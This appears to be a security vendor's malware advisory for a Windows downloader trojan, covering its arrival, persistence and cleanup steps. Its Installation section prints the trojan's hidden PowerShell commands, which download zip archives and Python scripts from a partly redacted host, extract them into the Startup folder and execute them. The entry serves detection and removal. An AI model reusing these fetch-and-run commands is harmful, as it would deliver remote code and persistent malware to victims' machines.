Trojan.BAT.DOWNLOADER.B
Trojan:Script/Wacatac.B!ml (MICROSOFT)
Windows
![](/vinfo/imgFiles/legend.jpg)
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It attempts to access certain websites. However, the websites are inaccessible as of this writing.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- start Chrome https://www.{BLOCKED}ress.us/
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/Document.zip -OutFile C:\Users\Public\Document.zip
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\Document.zip -DestinationPath C:\Users\Public\Document
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/4DUONGKHACHTRUNG.zip -OutFile C:\Users\Public\WindowsSecure.zip"
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Expand-Archive C:\Users\Public\WindowsSecure.zip -DestinationPath C:\Users\$([Environment]::UserName)\AppData\Roaming\Microsoft\Windows\'Start Menu'\Programs\Startup
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/rmv -OutFile C:\Users\Public\Document\rmv.py
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python C:\Users\Public\Document\rmv.py
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden Invoke-WebRequest -URI https://{BLOCKED}e.store/4DUONGKHACHTRUNG -OutFile C:\Users\Public\Document\project.py
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden C:\Users\Public\Document\python C:\Users\Public\Document\project.py
Autostart Technique
This Trojan drops the following file(s) in the Windows Startup folder to enable its automatic execution at every system startup:
- Extracted content of WindowsSecure.zip
Download Routine
This Trojan downloads the file from the following URL and renames the file when stored in the affected system:
- https://{BLOCKED}e.store/4DUONGKHACHTRUNG.zip -> renamed to %Public%\WindowsSecure.zip
- https://{BLOCKED}e.store/rmv -> renamed to %Public%\rmv.py
- https://{BLOCKED}e.store/4DUONGKHACHTRUNG -> renamed to %Public%\project.py
Other Details
This Trojan attempts to access certain websites. However, the websites are inaccessible as of this writing.
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete these files
- %Public%\Document.zip
- %Public%\WindowsSecure.zip
- %Public%\Document\Document.zip
- %User Startup%\{Extracted contents of WindowsSecure.zip}
- %Public%\Document\rmv.py
- %Public%\Document\project.py
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.DOWNLOADER.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Did this description help? Tell us how we did.